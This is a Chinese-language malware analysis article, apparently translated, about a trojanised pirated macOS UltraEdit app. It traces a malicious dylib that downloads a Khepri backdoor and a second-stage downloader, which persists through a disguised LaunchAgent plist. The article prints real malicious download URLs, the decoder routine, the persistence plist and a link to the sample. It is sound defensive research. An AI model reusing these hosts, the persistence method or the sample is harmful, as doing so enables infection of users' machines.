freeBuf
针对macOS盗版UltraEdit恶意软件的深度技术剖析
2024-02-05 21:02:54

写在前面的话

前段时间,MalwareHunterTeam的研究人员发现了一款包含恶意软件的盗版macOS应用程序,该程序文件名为“ultraedit.dmg”(9eb7bda5ffbb1a7549b1e481b1a6ed6efe2e28d0463370c87630fed74eee6228),其中包含了一个名为“libConfigurer64.dylib”(ce40829673687b48d68defa3176c8ab59a2a50ee9c658fe46a5de7692fbc112d)的恶意库。据分析,这个样本最早出现在2023年,那么在本文中,我们将对其进行深入剖析,我们首先会从磁盘镜像文件着手,然后深入分析其恶意动态库。

定性归类

macOS用户应该都知道UltraEdit这款软件,它是一款强大且高度可配置的文本及十六进制编辑器,并且支持大型文件。该软件的售价为79.95美元一年,但有些用户可能会直接选择使用盗版(免费),那代价是什么呢?

打开VirusTotal后,我们可以看到这个样本已经被几十家反病毒供应商标记了:

尽管已经有了这么多标记,但标记的名称非常普通,比如说“Trojan.MAC.Generic”或“Trojan-Downloader.OSX.Agent”,因此这样看的话我们无法看出它到底包含了什么类型的恶意软件。

接下来,我们加载获取到的恶意软件样本磁盘镜像(ultraedit.dmg-SHA1:40AD975E6656C9050325C4D5C989795C14665BA7):

% hdiutil attach -noverify /Users/patrick/Downloads/ultraedit.dmg

 

/dev/disk5         GUID_partition_scheme           

/dev/disk5s1      Apple_HFS                       /Volumes/UltraEdit 22.0.0.16    

它会挂载到/Volumes/UltraEdit 22.0.0.16:

由背景图的文字来看,这明显是一个盗版的UltraEdit应用程序。使用WhatsYourSign可以看到这个应用程序并没有签名:

而官方的UltraEdit版本都包含合法的签名信息:

一般来说,想要在盗版软件样本中寻找恶意组件,还是比较困难的,尤其是这种大型应用程序。当然了,人家可能压根没有恶意组件,也并不是所有的盗版软件都包含恶意软件。不过,我们还是发现并识别了这个名为libConfigurer64.dylib(SHA-1:7F5A34B0CFEF974122D6717C60D68F0AC4CA46E0)的恶意组件。

首先,它是一个无符号64位(Intel)dylib库:

% codesign -dvv /Volumes/UltraEdit\ 22.0.0.16/UltraEdit.app/Contents/Resources/libConfigurer64.dylib

 

libConfigurer64.dylib: code object is not signed at all

 

% file /Volumes/UltraEdit\ 22.0.0.16/UltraEdit.app/Contents/Resources/libConfigurer64.dylib

libConfigurer64.dylib: Mach-O 64-bit dynamically linked shared library x86_64

它同样也被VirusTotal标记了:

虽然这个样本被20多个厂商标记了,但名字还是很普通,比如说MacOS:Downloader之类的,我们还是没办法识别它的恶意软件类型。

使用otool工具(-L参数)查看这款盗版UltraEdit app的依赖库信息,我们会看到libConfigurer64.dylib已经被添加为了依赖库:

% otool -L /Volumes/UltraEdit\ 22.0.0.16/UltraEdit.app/Contents/MacOS/UltraEdit  

/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore

/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration

...

 

/System/Library/Frameworks/CoreText.framework/Versions/A/CoreText

/System/Library/Frameworks/ImageIO.framework/Versions/A/ImageIO

@loader_path/../Resources/libConfigurer64.dylib

它是唯一一个非系统库,而且官方正版的UltraEdit并没有这个库:

% otool -L /Volumes/UltraEdit\ Setup/UltraEdit.app/Contents/MacOS/UltraEdit | grep libConfigurer64.dylib | wc

       0       0       0

深入分析libConfigurer64.dylib动态库文件

libConfigurer64.dylib这个动态库是盗版UltraEdit应用程序的依赖库,这也就意味着,当用户启动这个盗版软件之后,它会被自动加载。但库中的代码是如何执行的呢?(因为加载一个库和执行里面的代码是分开的步骤)

通过otool -l命令,我们可以看到它加载的命令,其中包含一个起始于偏移量0xd030的__mod_init_func字段:

% otool -l libConfigurer64.dylib

...

 

Load command 1

      cmd LC_SEGMENT_64

  cmdsize 312

  segname __DATA_CONST

   vmaddr 0x000000000000d000

   vmsize 0x0000000000001000

...

 

Section

  sectname __mod_init_func

   segname __DATA_CONST

      addr 0x000000000000d030

      size 0x0000000000000008

__mod_init_func字段中包含了这个库在被加载时自动执行的构造器,通过提取和查看libConfigurer64.dylib中嵌入的字符串,我们可以看到下列非常有价值的信息:

% strings - libConfigurer64.dylib

 

/Users/Shared/.fseventsd

/tmp/.test

%*[^//]//%[^/]%s

GET %s HTTP/1.1

HOST: %s

 

http://download.ultraedit.info/bd.log

http://download.ultraedit.info/ud01.log

 

...

还记得VirusTotal将其标记为了一个通用下载器吗?根据这些字符串,看来标记是正确的。通过nm工具,我们可以转储该库导入(可能会调用)的API:

% nm - libConfigurer64.dylib

...

external _chmod (from libSystem)

external _connect (from libSystem)

external _execve (from libSystem)

external _gethostbyname (from libSystem)

external _recv (from libSystem)

external _system (from libSystem)

external _write (from libSystem)

由此可以看出,API会期望某个程序来实现下载和执行逻辑。

现在,我们在反汇编工具中加载代码库,然后定位到偏移量0xd030,即__mod_init_func字段的起始处:

0x000000000000d030         dq         __Z10initializev

0x000000000000d038         dq         0x0000000000000000

其中包含了一个名为initialize的构造器,对initialize函数进行反编译后,我们可以得到两个未命名函数:

int initialize() {

    

    var_20 = *qword_value_52426;

    var_40 = *qword_value_52448;

    

    sub_3c20(0x2, &var_20, &var_40);

    

    rax = sub_2980();

    

    return rax;

}

这两个函数,即sub_3c20和sub_2980非常的复杂,代码非常多,而且不值得进行逆向分析。快速分析后,我们发现这两个函数会下载并执行download.ultraedit.info中的代码。

现在,我们运行盗版UltraEdit应用程序并开始对其执行动态分析,同时我们还要监控其网络活动、文件使用和进程活动情况,至于服务端,download.ultraedit.info仍然处于活动状态,并负责托管文件。

分析发现,这个库实际上会从download.ultraedit.info/下载两个文件,第一个文件名为ud01.log,第二个为bd.log。根据网络捕捉数据,我们可以看到下载的文件似乎是部分经过混淆的Mach-O源码:

通过查看文件监控器,我们发现ud01.log文件会被转储为/tmp/.test:

# ./FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter UltraEdit

{

    "event": "ES_EVENT_TYPE_NOTIFY_CREATE",

    "file": {

        "destination": "/private/tmp/.test",

        "process": {

            "pid": 1026,

            "name": "UltraEdit",

            "path": "/Volumes/UltraEdit 22.0.0.16/UltraEdit.app/Contents/MacOS/UltraEdit",

            ...

        }

    }

}

而bd.log文件则会被转储为/Users/Shared/.fseventsd:

# ./FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter UltraEdit

{

    "event": "ES_EVENT_TYPE_NOTIFY_CREATE",

    "file": {

        "destination": "/Users/Shared/.fseventsd",

        "process": {

            "pid": 1026,

            "name": "UltraEdit",

            "path": "/Volumes/UltraEdit 22.0.0.16/UltraEdit.app/Contents/MacOS/UltraEdit",

            ...

        }

    }

}

现在我们不仅可以让代码库解码下载的文件,而且还可以在反汇编代码中找到参与解码的函数(名为ConstInt_decoder):

int  ConstInt_decoder(int arg0) {

    rax = (arg0 ^ 0x78abda5f) - 0x57419f8e;

    return rax;

}

这个解码器函数可以通过多种方式调用,并使用了硬编码的“密钥”:

文件下载并解码后,该库就拿到了这两个需要执行的代码了,这里它将生成.test文件:

# ./ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty

{

  "event" : "ES_EVENT_TYPE_NOTIFY_EXEC",

  "process" : {

    "path" : "/private/tmp/.test",

    "name" : ".test",

    "pid" : 1334,

    "arguments" : [

      "/usr/local/bin/ssh",

      "-n"

    ],

  }

  ...

}

有趣的是,它会使用/usr/local/bin/ssh和-n参数来执行.test。

.test文件分析

.test源码(SHA-1:5365597ECC3FC59F09D500C91C06937EB3952A1D)似乎是一个已知的恶意软件:

它貌似是Khepri的macOS构建版本,而Khepri则是一个基于Golang和C++开发的开源跨平台代理+后渗透工具。那么它既然是开源的,那我们就不用花时间去分析它了,但这样看来的话,它似乎能够允许威胁行为者完全接管受感染的目标系统。

.fseventsd文件分析

libConfigurer64.dylib从download.ultraedit.info/bd.log下载的另一个文件会被保存为/Users/Shared/.fseventsd。如果在一台虚拟机中运行的话,恶意软件似乎会报错,并且无法向.fseventsd中写入任何内容。

但是,在调试工具的帮助下,我们就可以直接强制让它下载并解码这个源码文件。

值得一提的是,当前VirusTotal上还没有反病毒引擎能够检测到.fseventsd源码文件(SHA-1:C265765A15A59191240B253DB33554622393EA59):

通过提取嵌入的字符串数据,我们能够看到它似乎又是一个下载器:

% strings .fseventsd

 

/tmp/.fseventsds

 

GET %s HTTP/1.1

 

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE plist PUBLIC "-//Apple Computer/DTD PLIST 1.0//EN"

"http://www.apple.com/DTDs/PropertyList-1.0.dtd">

<plist version="1.0">

<dict>

   <key>Label</key>

   <string>com.apple.fsevents</string>

   <key>ProgramArguments</key>

   <array>

       <string>/Users/Shared/.fseventsd</string>

   </array>

   <key>RunAtLoad</key>

   <true/>

</dict>

</plist>

 

http://bd.ultraedit.vip/fs.log

 

/Library/LaunchAgents

/com.apple.fsevents.plist

在对其进行反汇编和动态分析之后,似乎证实了它的功能与嵌入字符串的描述相符。首先,通过一个文件监控器,我们可以看到/Users/Shared/.fseventsd文件将以启动代理的形式实现持久化:

# ./FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter .fseventsd

{

  "event" : "ES_EVENT_TYPE_NOTIFY_OPEN",

  "file" : {

    "destination" : "/Users/user/Library/LaunchAgents/com.apple.fsevents.plist",

    "process" : {

      "pid" : 1716,

      "name" : ".fseventsd",

      "path" : "/Users/Shared/.fseventsd"

    }

  }

}

实现持久化之后,我们转储了com.apple.fsevents.plist文件的内容:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE plist PUBLIC "-//Apple Computer/DTD PLIST 1.0//EN"

"http://www.apple.com/DTDs/PropertyList-1.0.dtd">

<plist version="1.0">

<dict>

   <key>Label</key>

   <string>com.apple.fsevents</string>

   <key>ProgramArguments</key>

   <array>

       <string>/Users/Shared/.fseventsd</string>

   </array>

   <key>RunAtLoad</key>

   <true/>

</dict>

</plist>

由于RunAtLoad键被设置为了true,因此每次用户使用指定的文件登录时,/Users/Shared/.fseventsd都会自动启动或重启。

接下来,.fseventsd文件会尝试从http://bd.ultraedit.vip/fs.log下载另一个二进制文件,并将其存储为/tmp/.fseventsds。不幸的是,这个fs.log文件我们无法获取到,因为bd.ultraedit.vip服务器现在已经无法访问了:

% curl http://bd.ultraedit.vip/fs.log

curl: (6) Could not resolve host: bd.ultraedit.vip

所以这个文件的作用我们目前就无从知晓了。

总结

在这篇文章中,我们对一个盗版UltraEdit应用进行了深入分析。首先,我们确认了其恶意性,并分析了其第二阶段Payload的功能,然后顺藤摸瓜弄清楚了其第三阶段所做的事情。

下面给出的是BlockBlock、LuLu和KnockKnock针对相关恶意组件的检测结果:

恶意软件样本

友情提示:别把自己给感染了...

ultraedit.zip:【点我获取

参考资料

https://www.virustotal.com/gui/file/9eb7bda5ffbb1a7549b1e481b1a6ed6efe2e28d0463370c87630fed74eee6228

https://objective-see.org/tools.html

https://twitter.com/malwrhunterteam/

https://github.com/geemion/Khepri

https://www.virustotal.com/gui/file/1b2d50cdacfd39205c3caff2925eb35b59312dbe099bd3a98ae3b2f2f909ab17

参考链接

https://objective-see.org/blog/blog_0x79.html

本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
文章目录